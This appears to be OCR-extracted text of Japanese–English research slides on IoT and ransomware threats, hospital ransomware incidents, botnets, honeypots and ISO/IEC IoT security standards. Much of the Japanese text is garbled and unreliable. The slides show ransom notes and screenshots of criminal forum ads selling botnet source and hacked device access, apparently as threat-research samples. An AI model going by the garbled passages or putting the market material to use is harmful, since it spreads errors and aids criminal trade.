X&E. BR, UFF, TR~ BIVZOMOT7y I NOHR, BEEITh T
2072 ATERIRYVELE, ERAHRER 72 v AL EHET HAFEEREL T
TN, BRMEESICTAILRHVIECA., EIUEBOBRBRY - 2RLTHRED
T2 N EHETAZLWETEEIR A,

T7ANERETCEITH?
(EDic, TATO 7 ANERE»p>MBICERTEAZILERIELEY., LHL, +%
WCEERIAH YV ER A
=gz HREBEM T OPO Ty NEBRBRTAIILNTEETY., DecryptdEF Vi L
2 SjJEIo)EEn T4FCHLTLEEY,
- | LHL, TRTOZI7ALEBHRLEVEARE. THLSLEBRBHYVET,
L—jqﬁs‘. BELVWERBTA0ICHLI AV ER A, 20%, WEEEZRYET,

512112017 10:29:25 T, THRITEHWERTDRVE, 727/ N EXRACEAET A LB TEIEA,

BBy ATHSZLATERVELFALVAROEDICEN A<V VEMELE
Time Left P

m

Payment will be raised on

51712017 10:29:25 .

CHEMmIS.

A EDEHTIIHLOIDOT T ?

Send $300 worth of bitcoin to this address:

Abccletprgtggs' R AR o T e H S i LA

e

How to buy bitcoins?

Contact Us Check Payment
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June 20, 2022: Damage caused by cyber attack "
(Naruto-Yamagami Hospital)
SHA4FE6H20H HAN-INE(CLDMECOWVT (FE13R)
(ISP9 1L _EJRBE)

ANzl SF4E6H 19HF 55403 tAENS.. 55 A1 Lockbit 2.0 (c_
£33 2F INDBARELESF, BFHILT. BEWLAN/ZTAD\E iGN
RDFEUE. BTN U EMRHLREZF OIS (CLDIRE DFTEAE B gERR R
DR ONMREIE(CEHTHENE T . BMREBDEER(C(E. TEXZZENMNITBLIC
IRDER(CERUERCE W E R Ao

(BEE : S>HLADEADFIC, JUSA-ISKE=QEIRIINHTED, /XYY

NS F(CHEEN I AREDIRREMETR . TN, SY AICRERULBEHE
RenfzEWS (FrEEEELD) )

ERAANALCE  IEFIL_BImEEE
HEE UE ZrF
Wik BiAx —%

https://kyujinkai-mc.or.jp/info/20220620/



https://kyujinkai-mc.or.jp/info/20220620/

Ransom attack on Osaka Acute and
Comprehensive Medical Center

KIRE R - ARSI - AT LR

"Information Security Incident Investigation Committee
Report (March 28, 2023)” should be reviewed.

[EHwRCFIVT1122 7O MNIRZERIRGE (2023/3/28)]1 ©
FAT

https: //www.gh.opho.jp/important/785.html
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Y hMIOWT, RAEZERULTHALLGERZ I LOERETOMETH S, EFHILT VAT LB SAAINLEZE TRIAR., 2FGRe LT
5Fen -t BFEIZBIZAICEFAILT Y —"—"BHEEL. BFIAIIBICHERMEENTLEIRL .

CHERRVOHMEINIHEBENFIE  CHEREE 1 ~I12H)

No oY= WEE O FIRE
[ [RREES <A BREFRANRE - EZTISREVATALIL, RREEBESFEY T— MRFDLDITHKE L 72 VPN

BORIFEXTAVTEN CBEINAEINLTWAEID - /X277 — KEREZAVTERAII-TEELEHS) .

2 |MBBREXEEANEER - BRI MBEBEEAT I I —DID- XAT—RPRBHLE-F2 06, HEZBIZEHICFTET 7 R I 4,
ZDE. VAT LIER (IP7FLRARCARIT— FERRY) 2GRINAZE-OBREZFEATOREL A
3 [mERBEET—/ -1 BEBEEDIREKD STGRULAEBREND Y —/N\—DZFERICEL Y. ROPBEEZAVT. HBEHEEH —/ —IC
BEXNe TAINLRATEREY 7 bDT AR M—ILEEH,

4 [mEPEAR DY R T LIEERD G ER BIERBET —/\— 2L BT, mERAOMY —/N—DFRERE Y —ILE AWV THER,

RE. BREEH —/N— i —/N—DID - /27— FIZHBTHIIE S,

5 |fetr—/"—1EAN AR BT — /N~ THIRL bt — /N—FAABERICEL Y. EFAILTVRTLREDEBRY XA T LMD
S RATLDH == T{ZAN

6 | 7547 > F OO TF 2 RT |BASNET—N"—ZFZZ@B L. 774 7> MO ZF > R4T L 7= FJReE,

I AN ENEES B —NN—TS5oH LDz TRE, KiibxiTW, SoHL/—F (BREEKRKXE) *%F T
OHERR (HAHEEIIE. 218, 288, L0~4IE) - -

No 18 B BEAR
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Copyright (C) 2023 Osaka General Medical Center. All rights reserved. 1



Ransomware damage investigation results
by the National Police Agency (Japan)

(B LoTT7 DHEEFIRNR)
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In the case of IP camera
IPAASDIZE

RYNT—=DNAZHE ﬁﬁﬂi"ll"ﬂ'b Insecam

https: / /Www.insecam.org/
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World online live cameras directory Axis Panas{

United States(6593)
Japan(3626)
ltaly(1315)
France(1119)
Netherlands(1036)

Russian Federation(577)

United Kingdom(506)
Germany(491)
Canada(406)

Korea. Republic Of(403)

Sweden(367)

Spain(360)
Switzerland(336)

Czech Republic(289)
Mexico(279)

Austria(266)

Norway(232)

Taiwan. Province Of (206)

Belgium(180)

. B o
Fll=l Do E® R

United States(3144
Japan(1487)
Korea, Republic Of(959)
Taiwan, Province Of (907)
ltaly(663)

Germany(600)

Russian Federation(557)
France(462)

Austria(241)

Czech Republic(240)
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Thingbots: The Future of Botnets in the *
Internet of Things

February 20, 2016 | By Paul Sabanal IOT Home ROUterS BOtnet
Leveraged in Large DDoS Attack

The Internet of Things (o]
upon us. Everything from ¢
home appliances, watcheqg
even children’s toys are bqg

Is your reiri Cyb e

AAAAAAAAAAAAAAAAAAAAAAA I’ T Home Roliter Rotnet Leveraged in
spam-send]

tack
tt acks in loT
= G‘f“““"“’” = O n t h e rI S e y concerns pri

boost in loT services

News roundup: As Internet of Things concerns become
RISK ASSESSM ENT SECURITY & HACKTIVISMZ . ormbet e vk, Bras 16 o ueoers ereate
the risk; Target pays up; Apple devices
“Internet of Things” is the new Windows XP 'y secured in the enterprise.

“°  _malware’s favorite target 5% creswsecun v nexcs
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loTPOT = loT Honeypot

BEEVSAFL(N=—FY ) e E->TRBLIoTHBEETI
L—hL., HEER<ERTS

RRRL=Hds

- loTPOT

WEEI C2 @
HWaotr

Yin Minn Pa Pa, Shogo Suzuki, Katsunari Yoshioka, Tsutomu Matsumoto, Takahiro
NC//tT?uﬁgsmv:{o;a;Kasama, Christian Rossow, “IoTPOT: Analysing the Rise of IoT Compromises, CCYr INe= )
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Scanning Back

Internet

Sensor 1 .
Proxy log <
Sensor 2 I
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Proxy

Profiler

<____

Device Profiles

Vulnerable Services

Banners

Authentication

Command Interaction

‘\f"l\\l YOKOHAMA
National University

Learnt Command
Interactions
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|
t I Actual

Gateway -1
Proxy : Device
l1oTBOX —
Proxy
Handler g
— ! P Multiple CPU
i ——— .
Log ! Architectures
i Unknown
Commands —
Malware i Access i
Downloader e Manager |~ |
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No. of Unique hosts ()

MirailcXB3EBED M VR (BRTT)

Y SRR NERZ40,000~100,000812E

2021/1/1 2021/1/15 2021/1/29 2021/2/12 2021/2/26 2021/3/12 2021/3/26 2021/4/9 2021/4/23 2021/5/7 2021/5/21 2021/6/4 2021/6/18 2021/7/2 2021/7/16 2021/7/30 2021/8/13 2021/8/27 2021/9/10 2021/9/24

2 Mirai (Fh[E) = Mirai (4> F) % Mirai (T 7 ) & Mirai (Z/8=7)
@ Mirai (8E) = Mirai (772)L) # Mirai (XU >v) = Mirai (A7)

= Mirai (7 XY #AH) o Mirai (&%) @ Others
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Figure 2: Number of scanning hosts captured via darknet

Network Incident analysis Center for Tactical Emergency Response



BRO—R{t. BEL

 WBHEIE (1279) L8B3V ITT7DLY —I, C2U—nNIE
P59 REE>TWNBRZEHABL\C EHEIBA

* S50RAETOHORIATIE. 1EBFREETA 773 EFEALWMAREL D

cC2UH—NEDT7ZV VAN 2ERLTEH. EEICZ L

-ABICLDE. MEFERADODF1—-MIT7INVEHBL
(BYOB : Build Your Own Botnet)

- LM E S DIoT2IV 2 27 (VPNFILTERE) HHRE

eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee



GRS ZIRBE I D “VPNFILTER” O&E15

EXPLOITATION

PR T50REDIHRNREZEL TLRED
RE SRENRIME I 2128, [BIRUNE

DIFEITARE A ERNEREINS

A (& @ If Photobucket fails, & AN

it calls out to toknowall
= - -]

to download a picture (o),
O

If toknowall fails,
PHOTOBUCKET > > e

it opens a listener
and waits for the actor 1oooo

to send a trigger packet -
for direct cgognne‘?:tion STAGE 3 SERVER By Cisco team

https://blog.talosintelligence.com/2018/05/VPNFilter.html
Y N U YOKOHAMA
National University
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N7 X% JUNAS(Network Attached Storage )/ \=—Kvh%
FFEL. YL ELZRBIL -

2encrypt files Darkweb
and leave ransom
How to pay

note in every

@vulnerability folder
exploits, weak NAS [ ”

” “ Web Reverse
L] ‘_-_._._._._"
credentlals Packet Monitor » Access Controller Proxy
L Shell Script T \ Nginx

4 SSH Reverse

QNAP Monitor ————/ Proxy

- Python Code
: Shell Script IP-LOCAL (Local)
Your files | %

IP-OUT (Global) IP-IN (Global)

have Switch
been
locked @Visit darkweb QNAP1 (Sandbox) QNAP2 (Honeypot)

for ransom

payment Fig. 1. Structure of SPOT



| 63 |

Ransom notes (% L/—b)

~
e EFOE ES T4
] . 2021/03/24 4:26 ENCRYPT J71 4,499 KB
w 2021/03/24 4:26 ENCRYPT 774 I/ 4715KB
w 2021/03/24 4:26 ENCRYPT 7711 4351KB

) e e

README_FOR_DECRYPT.txtt

H.jpg.engass

e O - FOR |
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2.jpg.e

HWJMJI your data has been locked(crypted).

HEEFMBPICRONDEHTEDLD, TNT

I.jpg.encrypt
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DTANF=CTY L/ ~P RTINS
B.jpg.encrypt 2021/03/24 4:26 ENCRYPT J74 ), 5,857 KB

w-How to unlock(decrypt) instruction located in this TOR webs

~"Use TOR browser for access .onion websites.
it tps : //duckduckgo. com/html Ya=tor+browser+how+to
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5jpg.en
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Remote management

device

WebUl

Mobile network @

A

|

Analog/Digital 10
Modbus, etc.

PLC

Internet
ok

ARG X)) T4 EDRRE:

7RG EHNBEYZEREINTELT .
WebUIDY A A—2R YR ZABEINTLYS

Takayuki Sasaki, Akira Fujita, Carlos Hernandez Ganan, Michel van Eeten, Katsunari
Yoshioka, Tsutomu Matsumoto, "Exposed Infrastructures: Discovery, Attacks and
Remediation of Insecure ICS Remote Management Devices," Proc. 43rd IEEE
Symposium on Security and Privacy (IEEE S&P), 2022.
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Cybercrime as a service (CaaS)




loT Botnet (DDoS, etc)

Looking for partner or sell my source code (IoT Botnet).

loT botnet

pe= ot overyons 8 code sale
o [— e (DDOS bot)

loT Botnet
Selling - *

Looking for partner to load 10T bots or windows bots.

Bulletproof vps paid for already, using my own bot check other thread for that information.
Payments will be split equally on who we sell it to.
Telegram: @Vars_Secc

Vars_sec
floppy disk
User

1172412022
Its_Vichy 4

Finding loT
Bot partner

Selling I07; Moobot fastiversion

daradal ted 202 :V@ , An d roid *_: Tople author

/ BOTNET CLIPPER ~ STEALER ~ BOTS  BUILD

scatter alga

80"

AURORA

(S

loT botnet
code sale e o ey
(Moobot) ‘

Aurora bot
1) Added SOCKS5 prox Wi I I add IOT

2) Added the abilit, <

scatter alga | openuRL, I ) ‘ inf i
Sngsthing con G = smepon in insglartha NISE e s 3) Added new crypto wallets to the I n ect I O n
Special features

1) 10T infection
2) K

If you have suggestions for improving the product, please write to PM.



loT Proxy (selling hacked devices as proxies)

psocksS.com, < P82

(n] & proxies.black a = @ d’ BuySocks5 Premium Socks5  Socks5Dally SocksSList SocksSAll Socks524H CheckSocksS My account  Logout

Blazing fast, rotating
residential proxies.

Emai:
I happiness@proton.me

User: |

United States: 1802 Plan: Non

= o3 FULLZ oo S
= Vielam: 263 FULLZBUY NET DOB&SSN / FRESH

fullzbuytzeewr7v.onion TOR 24/7

Residential
Proxy
(proxies.black)

Used today:

= Germany: 235 Limit: 0 of 0 sock

= Singapore: 233
= Netednce 163

i= Sweden: 162

1 France: 165 50% 1 month
B P10 140%$ 3 month

@ Hong Kong: 127
11 Canada: 85

Blazing Fast Rotating Residential

PLAN SOCKS5 PREMIUM

Free and
Paid Proxies

QO & crdclub.sy,

ead.php?

https://shopsockss.com/

Worldwide Unblocked HTTP(S) & SOCKS5
- https://shopsocks5.com/checksocks5/

Reputation:

Control Panel Live Statistics REST API

BlackProxies service is gaining popularity among intruders

shopsocks5.com https://shopsocks5.com/
Old M https://shopsocks5.com/checksocks5/

Join Date: N

IB researchers from DomainTools found a new market for resident proxies where, according to advertising, they sell access to
a million proxy addresses around the world. Experts warn that BlackProxies is rapidly gaining popularity among hackers,
phishers, resellers and scammers, although it allegedly prohibits malicious and illegal actions.List of Allegedly Prohibited
Actions According to experts, the emergence of a large platform of this kind — is a notable event, given that over the past

couple of years, law enforcement agencies have closed several such services, including RESNET and INSORG.
PROWIBITED ACTVITES

beautyandwealth
co

1210212022
thirteen



loT Access
(Selling hacked devices/system for more intrusions)

ssh | IoT, Servers, etc. &

11/29/2022

"~
&
‘-"\’/é.g,} ‘ ® Please note that the user is blocked

brut force ssh

Selling loT
Uss Evert53  Topic author
ripper 120 thousand ip + internals ACCESS
Access to cameras + modem
Registration: ~ 11/18/2022 | see the price for the whole Pack 130 thousand $
iiessages: eleven  Tg: https://t.me/badiby
Aeactions: °" Toks: 1A1A9B00F50DBBD4D7FBI453F55F84253BCC49A91C87987FC43D25F93889064299FCIA53D72C
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Imtermational Telecommumnication Union

ITU-T X.1205

TELECOMMUMNICATION (MQ[BB]
STANDARDIZATION SECTOR
OF 1Tu

SERIES X: DATA NETWORKS, OPEN SYSTEM
COMMUNICATIONS AND SECURITY

Telecommunication security

P

Overview of cybersecurity

ITU-T Recommendation
X.1205:
Overview of Cybersecurity

Recommendation ITU-T X.1205



Definition of Cybersecurity in 2008 (X.1205)

3.2.5 cybersecurity:

SAN—TF1UF1LE HAN-RIELBEO LV LI - DEEZIRE T BIcs
(EATEZY—I)L. KNS — X1 tT b tF1V570—TJH-F (9

R)  HARTAD URIRRS AN TO-F . 77232 =220 RN
)74 A AREE. T7/05-DESHRTH D,
2lvices, telecommunicatiC ystems, and the totality ofr lra nitted and/a
stored information in the cyber environment. Cybersecurity strives to ensure the
attainment and maintenance of the security properties of the organization and
user's assets against relevant security risks in the cyber environment.

The general security objectives comprise the following:

* Availability

* Integrity, which may include authenticity and non-repudiation
 Confidentiality.



ISO/IEC 27032: Guideline for Cybersecurity

4.20 DRAFT
Cybersecurity

(Cyberspace security)

Preservation (#f%F) of confidentiality,

INTERNATIONAL ISO/IEC
STANDARD FDIS
27032

Integrity and availability of information =
in the Cyberspace —

NOTE 1 In addition, other properties,
such as authenticity, accountabillity,
non-repudiation, and reliability can
also be involved.

NOTE 2 Adapted from the definition
for information security in ISO/IEC
27000:20009.

Information technology — Security
techniques — Guidelines for
cybersecurity

Technologiez de Iinformation — Technigues de securite — Lignes
directrices pour la cybersécurité

Reference number
ISONEC FDIS 270232:2012(E)



ISO/IEC TS 27100 (2020) : Cybersecurity — Overview and Concept

3.2
cybersecurity

safeguarding of people, society, organizations and nations from cyber risks (3.7)
Note 1 to entry: Safeguarding means to keep cyber risks at a tolerable level.

3.7 HANN—UZH(3.7)DBA. 112, 18, EFRETS
Iy SF1) (RELIF. HAN—UZRIEHFEFREERLAINCAR DL R ERT B,

effect of uncertainty on objectives

Note 1 to entry: Cyber risk can be expressed as effect of uncertainty on
objectives of entities in cyberspace (3.5).

Note 2 to entry: Cyber risk is associated with the potential that threats will

exploit vulnerabilities in cyberspace and thereby cause harm to entities in
cyberspace.



https://www.iso.org/obp/ui/en/#iso:std:iso-iec:ts:27100:ed-1:v1:en:term:3.7
https://www.iso.org/obp/ui/en/#iso:std:iso-iec:ts:27100:ed-1:v1:en:term:3.5

International CYBER Standards : B
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Cyber Security Risk (B4 N\—tF1UF71URY)

* THREATS AND RISKS

- EFE.IBIR. A JOTR B-EX 7IUT—-23>,
s morE-0r U |

. HRBLPHBEECHTIER

. ERACIAOBH

technology risks

® I M PACT 'g‘ societal risks
&=
=

¢ BN/ NORIEAIC LB, SATL |
- EERHEBIROE. B2, IR

unlikely likely

- CYBER SECURITY RISK THRESHOLDS (Bifi&) oot

o BAN-IRBOWIRDEIRIVF—DHIIR
« BAN-BEL Em. XIS, 188

very likely

Source: Slides from Dr. Edward Humphrey in ISO workshop
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Source: Slides from Dr. Edward Humphrey in ISO workshop
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>
L;_%% Regional Standards Bodies 3E5
i d . " c 2%
Asia-Pacific =S u
World Standards Europe (CEN, CENELEC, ETSI) S 42
Cooperation (WSC) Americas 52 °
] o

National Standards Bodies (AFNOR, ANSI, BSI, DIN, SAC etc.)

Regulatory Bodies, Government Bodies ...

Source: Slides from Dr. Edward Humphrey in ISO workshop



Cybersecurity standards in ISO/IEC
JTC1/SC27




ISO/IEC JTC 1/SC 27 (Information security,

cybersecurity and privacy protectlon)

Information Security

|dentity
management
and privacy

§; technologies

Security
controls and
service

security ER[PIOE 1 evaluation
and security ;

management : testing and
mechanisms T
systems specification

V4
~ &
-~y "

Cover the area of Cyber Security

Source: Slides from Dr. Edward Humphrey in ISO workshop
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" ISO/IEC 27001 ISMS Business

Context, Risk
Strategy

The on-going management of
cyber risk through the process

of continual improvement: Vieneifi, .
. )

* Anticipate I HEiR &t Assessment
mprovement (0] i

* Prepare Cyber Risk Treatment

Management
* Protect

* Reactive & Responsive

* Adaptive (business plasticity) Igzleerrr&?:;
* CONTINUAL IMPROVEMENT Controls,

Processes and

BRI ENE T O A (CL DY A /N -UR I DR Procedures

=B

Source: Slides from Dr. Edward Humphrey in ISO workshop




NIST CSF2.0 74 Ahy33Y - RITMDARICONT o

202348248, KEEEERMFAZAA(NIST)(E, B4\ —tF1UF71IL—AT—9(CSF)2.00T 1A Nv3a>- RST e ARUI.
TAANYSAY - RITME. SEVW-ZAFETHACSF2.0DRITMDIEEEUTMNEDIIANAENDTHY ., eETOTADROLERDDS
[Core]/\=NIIA-HDAULTERE%ZRU. EamDIBERIIN B EZBNEL TS,

(https://csrc.nist.gov/publications/detail /white-paper/2023/04/24/discussion-draft-of-the-nist-csf-20-core/draft)

[ EE ﬁfﬁ 'f > I\] NIST Cybersecurity Framework 2.0
— LSRN CSF 2.0 Category C(‘;S;fgif\‘
v BEADIIIFHEUEX EZHIBR. SR CEA R EERY A\ —t+1U7+ i s ; Identifier
DRRICERZIZITET, BEMINDMNANZRIL - LAD—I%EH. Organizational Context GV.0C
>0Vern Risk Management Strategy GV.RM
v %ﬁt@ Fu nCtiO ntL}_CG overn -’Eiaj][l ) !SI,"H%E'E H’] jﬁb;'% N UZO ﬁé}iﬁiﬁ% . jj_i-l_t G(GY] Roles and Responsibilities GV.RR
FlE, &2 EEEEEEUHAN—tF1UT N\ R BEZ IR Policies and Procedures GV.PO
ol Asset Management ID.AM
v Identify®Function(c&lFdSupply Chain Risk Management® < Ldentify msmms::: IDRA
CategorylCDWTRHERFED 7 JO—-FEER. z 2 | Supply Chain Risk Management ID.sC
= Improvement ID.IM
v Identify®Function(CH|F 3%z Categoryt UTImprovementzigill, | 2 Identity Management. Authentication. and Access Confrol | PRAA
RO AN\ —tF1)T(BHECH T 2k E0EE = # A . e s 'Awm-“"f“‘“ﬁk | :;;
v Protect®Function(CHlFEETDCategorylcizo>TPeople, Process, o Platform Securiy PRPS
Technology(PPT)DfEAFENBZERL. EEZA1H. 7L  Technology Infrastreture Resilicnce | PRIR
3, Detect Adverse Event Analysis DE.AE
v' Protect®Function(Z$TdFr1z/dCategoryt U TTechnology 7 ©F) | Continuous Monitoring DE.CM
Infrastructure ResilienceZiEfll. 1>>7 > NCEEUTEEERIATL | |
OF—AEMIFIBRETREZR/IRCEED, EERY -EADMMGZIREE. 29
v' Respond&Recover®Function(c$fd#& CategoryZ B3, 17 > b ffg . —
TALYSVIDEB A SHHAN—1 23T NS EEE E2HE. ol ol -
ER.

9 CSF 2.0 Core @ Function & Category




IEC

ISMS Continual
Improvement
Framework

ISO/IEC 27001 ISMS
- Managing Cyber Risk

N

ISMS CYBER DEFENCE
CONTINUAL FUNCTIONS
IMPROVEMENT |dentify

|dentify Protect

Plan Detect

Execute Respond
Monitor/review Recover

Reactive

/adaptive

L{\E /]

ISMS continual
improvement

Reduce
cyber risks

ISO/IEC 27103
NIST CSFA—X

IDENTIFY

PROTECT

DETECT

RESPOND

RECOVER

Business Environment and
Context

Risk Assessment

Risk Management Strategy
Governance

Asset management

Access Control

Aware and Training

Data Security

Information Protection Policies,
Processes and Procedures
Maintaining Controls

Monitoring and Detection
Processes

Incident Handling Management
Processes

Response Planning and
Management Process
Continual Improvements
Communications

Recovery Planning and
Management Processes
Continual Improvements
Communications

| 8



WG 1 Projects related to Cybersecurity

Cybersecurity

ISO/IEC TS 27100: Cybersecurity — Overview and Concepts
2020

ISO/IEC 27102:2019 Information security management — Guidelines for
cyber-insurance

ISO/IEC TR 27103: Cybersecurity and ISO and IEC Standards
2018

ISO/IEC TS 27110: Cybersecurity framework development guidelines
2021

ttttttttttttttttttt
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Network Incident analysis Center for Tactical Emergency Response



WG 4 Projects 1/6

Guidance for information security controls 1/2

ISO/IEC 27031:2011 Guidelines for information and communication
[Revision: FDIS] technology (ICT) readiness for business continuity

ISO/IEC 27033,
Part 1 — Part 6

ISO/IEC 27034,
Part 1 — Part 7

ISO/IEC 27035,
Part 1 — Part 4

ISO/IEC 27036,
Part 1 — Part 4

Network security
Application security
Information security incident management

Information security for supplier relationships

NICTER
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WG 4 Projects 2/6

Guidance for information security controls 2/2

ISO/IEC 27039:2015 Selection, deployment and operations of intrusion
detection and prevention systems (IDPS)

ISO/IEC 27040:2024 Storage security

Cybersecurity

ISO/IE27032:2023 Guidelines for cybersecurity
Revision:
Cybersecurity — Guidelines for Internet security

ISO/IEC 24392:2023 Security reference model for industrial internet platform

Network Incident analysis Center for Tactical Emergency Response



WG 4 Projects 3/6

loT security and privacy, CPS

ISO/IEC 27400:2022

ISO/IEC 27402:2023

ISO/IEC 27403: 2024
ISO/IEC 27404
[CD2]>[CD3/DIS]

ISO/IEC TS 5689
[WD1] = [WD2]

loT security and privacy — Guidelines

loT security and privacy — Device baseline requirements

loT security and privacy — Guidelines for loT-domotics

loT security and privacy — Cybersecurity labelling framework for

consumer loT

Security frameworks and use cases for cyber physical systems

« Base documents of SC 41 “Internet of Things and digital twin”

« ISO/IEC 30141:2018, Internet of Things (IoT) — Reference architecture

« ISO/IEC 20924:2021, Internet of things (IoT) — Vocabulary

NICTER
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WG 4 Projects 4/6

Al and big data security and privacy

ISO/IEC 20547-4:2020 Big data reference architecture — Part 4. Security and privacy
ISO/IEC 27045 [WD] Big data security and privacy — Processes
ISO/IEC 27046 [CD] Big data security and privacy — Implementation guidelines
‘ ISO/IEC 27090 [CD] Cybersecurity — Attificial Intelligence — Guidance for addressing security threats to
artificial intelligence systems
ISO/IEC 5181 [WD] Information te-chnology — Security and privacy — Data provenance
ISO/IEC 6109 [NP] Guidelines for data security monitoring based on logging (Proposed title)
ISO/IEC TS 7709 [WD] Security and privacy-preserving guidelines for multi-sourced data processing

« Base documents of SC 42 “Artificial intelligence”
« |ISO/IEC FDIS 22989:2022, Artificial intelligence — Artificial intelligence concepts and terminology
« |ISO/IEC 20546:2019, Big data — Overview and vocabulary
« |ISO/IEC 20547-3:2020, Big data reference architecture — Part 3: Reference architecture

uuuuuuuuuuuuuuuuuuu
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Network Incident analysis Center for Tactical Emergency Response



WG 4 Projects 5/6

Cloud computing security and privacy

ISO/IEC 19086,
Part 4:2019
With JTC1/SC38

Cloud computing — Service level agreement (SLA)
framework —

Part 4. Components of security and of protection of PlI

Security In virtualization technologies
ISO/IEC 21878:2018

ISO/IEC 27070:2021
ISO/IEC 27071:2023

Security guidelines for design and implementation of
virtualized servers

Requirements for establishing virtualized roots of trust

Security recommendations for establishing trusted
connections between devices and services

Network Incident analysis Center for Tactical Emergency Response



WG 4 Projects 6/6

Other projects for emerging areas

ISO/IEC 13133 [WD] Information technology — Security techniques — Security
reference model for digital currency hardware wallet

ISO/IEC 17603 [PWI] Information security — Security technigues —
Confidential computing

Network Incident analysis Center for Tactical Emergency Response



1ISO/IEC 27400 — Published -

This was initially proposed by Japan based on the guideline produced in loT
promotion consortium of Japan.

* Title: Cybersecurity - IoT security and privacy -
Guidelines

* Scope

This document provides guidelines on risks, principles and controls for
security and privacy of Internet of Things (1oT) solutions.

« Main Structure
Clause 5 : 10T concept and reference model
Clause 6 : Risk management for 10T systems
Clause 7 : Security controls and privacy controls



RA (Domain model) used in ISO/IEC 27400 (based on ISO/IEC 30141)

e
loT | [ User Domain (UD) JQ
usery, | T E T T
loT '," 4 Operations & ) Application & ) (Resource Access &\“
.- Management Service Domain Interchange 0
:?(r)\\/’:(jeer Domain <}:l/,\ (ASD) :II ll: Domain
and 1 (OMD) ) \ y _ (RAID) y
loT ! i
service 1 |
develdper ;
i Sensing & Controlling Domain (SCD)

Physical Entity Domain (FED)

| %



Security Controls in ISO/IEC 27400

Security controls for 10T service developer and loT service
provider

7.1.2.1 Policy for IoT security 24 controls
7.1.2.2 Organization of 10T security
7.1.2.3 Asset management

7.1.2.4 Equipment and assets located outside physical
secured areas

7.1.2.5 Secure disposal or re-use of equipment

7.1.2.6 Learning from security incidents

7.1.2.8 Secure development environment and procedures
7.1.2.9 Security of IoT systems in support of safety
7.1.2.10 Security in connecting varied IoT devices

7.1.2.11 Verification of IoT devices and systems design
7.1.2.12 Monitoring and logging

7.1.2.13 Protection of logs

7.1.2.14 Use of suitable networks for the IoT systems

7.1.2.15 Secure settings and configurations in delivery of
IoT devices and services

7.1.2.16 User authentication
7.1.2.17 Provision of software and firmware updates

7.1.2.18 Sharing vulnerability information

7.1.2.19 Security measures adapted to the
lifecycle of IoT system and services

7.1.2.20 Guidance for IoT users on the proper use
of IoT devices and services

7.1.2.21 Determination of security roles for
stakeholders

7.1.2.22 Management of vulnerable devices

7.1.2.23 Management of supplier relationships
in IoT security

7.1.2.24 Information security in IoT devices
Security controls for l1oT user 4 controls

7.1.3.1 Contacts and support service
7.1.3.2 Initial settings of IoT device and service
7.1.3.3 Deactivate unused devices

7.1.3.4 Secure disposal or re-use of IoT device

|



Privacy controls in ISO/IEC 27400 -

Privacy controls for 10T service developer and loT

- - 7.2.2.10 Communication of privacy

service provider
p 14 controls preferences
7.2.2.1 Prevention of privacy invasive events e L.
7.2.2.11 Verification of automated
7.2.2.2 10T privacy by default decision
7.2.2.3 Collection and use of personal data 7.2.2.12 Accountability for
stakeholders

7.2.2.4 Verification of IoT functionality
7.2.2.13 Unlinkability of PII

7.2.2.14 PII protection in IoT devices

7.2.2.5 Consideration of IoT users
7.2.2.6 Management of IoT privacy controls

7.2.2.7 Unique device identity

7.2.2.8 Fail-safe authentication Privacy controls for loT user 3 controls
7.2.2.9 Minimization of indirect data collection 7.2.3.1 User consent
7.2.3.2 Connecting with other devices and
services

7.2.3.3 Certification/validation of PII
protection



Example 7.1.2.10 Security in connecting varied IoT devices s
Control-10
[I0TS AT AlE. ZAFRIoTT I\A 2 %1t I BBROTF 1T HHER - HEFF I LIRS T - EETN 3N
gt“@éo

Purpose
To maintain security of IoT system in connecting varied IoT devices including those not
necessarily verified by the [oT service developer or the IoT service provider.

Guidance

IoTH—EXRFEBLIOTY-EARMHA (L. COLIPMINRIIRATERZERIOTI AT AZsxEtU. BRT

BENDD. [0T AT A ME(TIHUTLU T OHEREZFFILE S IENTES

a. NIANIRN2fERUT IoT 7 /\A4 AZ2:ERM (CHEHT I B,

b. ZHIIHGE. T/ RLIEHSZITOMRC. T /\A DAk FIZ(E, JON(5%. 7). REE
EHERBADBESEREZEUSL., EHEROBEZHIMI D, HDNE. FIHRIERHEE. U—E
A, [BROEHZIRE T -




ISO/IEC 27402: 2023

* Title: Cybersecurity - IoT security and privacy - Device
baseline requirements

* Scope

ASTE(L, [0T Mt ZOMRBENMCFIITET TS —DEIREHR— NI BIHDA—

A B eI B,
fHENCONBENDESZEIRT %A, 5.1 (RESNTZEHOVI NN ZERIN T DL

’:‘.E’Eéﬂﬂb\

e LRI A

t t t t F=23 F=23 F=23 =

7, 7, 7 7 H | B | B | B

%4 %, %, %, m | || ™

| | | | % | 5B | B | 5

A B C D A B C D
Note:

IO THEBEDIZHDICT X 1UFT A DEARE(F This figure is depicted from

“introduction” of ISO/IEC 27402




Security Baseline Reguirements In ISO/IEC 27402 -

5 Requirements

5.1 Requirements for 10T device developers
5.1.1 Risk management
5.1.2 Information disclosure
5.1.3 Vulnerability disclosure and handling processes

5.2 Requirements for 10T devices
5.2.1 General
5.2.2 Configuration
5.2.3 Software reset
5.2.4 User data removal
5.2.5 Protection of data
5.2.6 Interface access
5.2.7 Software and firmware updates
5.2.8 User notifications




ISO/IEC 27403: 2024

* Title: Cybersecurity - IoT security and privacy -
Guidelines for IoT-domotics

* Scope

AREF TF1UT1ETFANS—DURIZ DTS DILDDHA RS54 %R MHU. IoTRET(Y
ASATLICREKT DINHEDHIEIERTIFTE I D,

Note:
loT-domotics:
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ISO/IEC 27404 — CD2 100

* Title: Information technology — Security techniques —
Cybersecurity labelling framework for consumer IoT

AFUERE CHEEMTIOTREOYAN\—tF1UF1IRUITOT S LZHFE - i I 22 DY A
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CYBERSECURITY LABEL CYBERSECURITY LABEL CYBERSECURITY LABEL CYBERSECURITY LABEL
LEVEL1 LEVEL 2 LEVEL3 LEVEL 4

DATE OF Txmy oISy = DATE OF Doy RIGOSTRATION © DATE OF ExPRY

LEVEL 1 LEVEL 2 LEVEL 3 LEVEL 4

’ No known ' Resilient against
| vulnerabilities | common attacks

Developed using

security-by-design
principles

Meets basic
requirements

COM(IZEDP TFERBAIN TULRLAY,

FTARERREDRZDRR, > HR—ILMERU

FEDTHB. | . | 3
Tier 2 - Lifecycle Requirements
Tier 1 - Security Baseline Requirements
KEY :

D Developer Declaration of Conformance E 3 Party Independent Testing

Figure 1 — Levels of universal labelling framework and assessment tiers
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Internet Internet
Ex. Hubs/switches,
Ex. Routers, smart home devices,
Network cameras, etc.

etc.
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_____

- — -

_____

i ——
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_____

Product

Type A

AN

Product
Type B

Product Types

